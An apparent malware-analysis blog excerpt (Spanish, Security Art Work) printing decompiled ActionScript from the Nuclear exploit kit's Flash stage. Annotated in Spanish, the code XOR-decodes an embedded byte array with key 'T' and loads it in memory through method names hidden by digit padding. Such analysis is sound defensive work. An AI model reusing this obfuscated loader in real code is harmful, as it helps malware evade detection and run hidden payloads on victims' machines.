Destripando Nuclear EK - Security Art Work - http://www.securityartwork.es - Adrián Macías Franco
  1 
package {
  2 
    import flash.display.*;
  3 
    import flash.utils.*;
  4 
    import flash.events.*;
  5 
    import flash.system.*;
  6 
    import flash.external.*;
  7 
 
  8 
    public class Sfefq3fFaew extends MovieClip {
  9 
 
 10 
        public static const vdbfergfwed:Class = pelizinooo_fix$066f7629d191ee84b1c973748c7f18b9626367588;
 11 
 
 12 
        public function Sfefq3fFaew(){
 13 
            if (stage){
 14 
                this.vcbvncfdxsew3();
 15 
            } else {
 16 
                addEventListener("addedToStage", this.vcbvncfdxsew3);
 17 
            };
 18 
        }
 19 
        public static function xvcdfew4g2(b:ByteArray, c:String):ByteArray{
 20 
            var _local6:int;
 21 
            var _local5:int = c.charCodeAt(0); // "T".charCodeAt(0) = 84. Usado como KEY para operación XOR.
 22 
            var _local3:ByteArray = new ByteArray();
 23 
            var _local4:String = "12412w4141r123213i523t52e234B4321y234t45234e524534".replace(/[0-9]/g, ""); // writeByte
 24 
            _local6 = 0;
 25 
            while (_local6 < b.length) {
 26 
                _local3[_local4]((b[_local6] ^ _local5)); // Aplica XOR a cada byte del ByteArray, almacenandolo en un ByteArray diferente.
 27 
                _local6++;
 28 
            };
 29 
            _local3.position = 0;
 30 
            return (_local3);
 31 
        }
 32 
        public static function cvbgfdxrt5y4():Loader{
 33 
            return (new Loader());
 34 
        }
 35 
 
 36 
        private function vcbvncfdxsew3(_arg_1:Event=null):void{
 37 
            var _local4:*;
 38 
            var _local3:*;
 39 
            var _local2:*;
 40 
            var _local5:String = "122l4321o1234a524d124B432y213t123e4324s23".replace(/[0-9]/g, ""); // loadBytes
 41 
            removeEventListener("addedToStage", this.vcbvncfdxsew3);
 42 
            try {
 43 
                _local3 = xvcdfew4g2((new vdbfergfwed() as ByteArray), "T");
 44 
                _local4 = cvbgfdxrt5y4();
 45 
                _local2 = _local4;
 46 
                _local2[_local5](_local3); // Carga en tiempo de ejecución el contenido de un ByteArray.
 47 
                stage.addChild(_local4);
 48 
            } catch(e:Error) {
 49 
            };
 50 
        }
 51 
 
 52 
    }
 53 
}//package
 54 
 
 55 
package {
 56 
    import flash.utils.*;
 57 
 
 58 
    public class pelizinooo_fix$066f7629d191ee84b1c973748c7f18b9626367588 extends ByteArray {
 59 
 
 60 
    }
 61 
}//package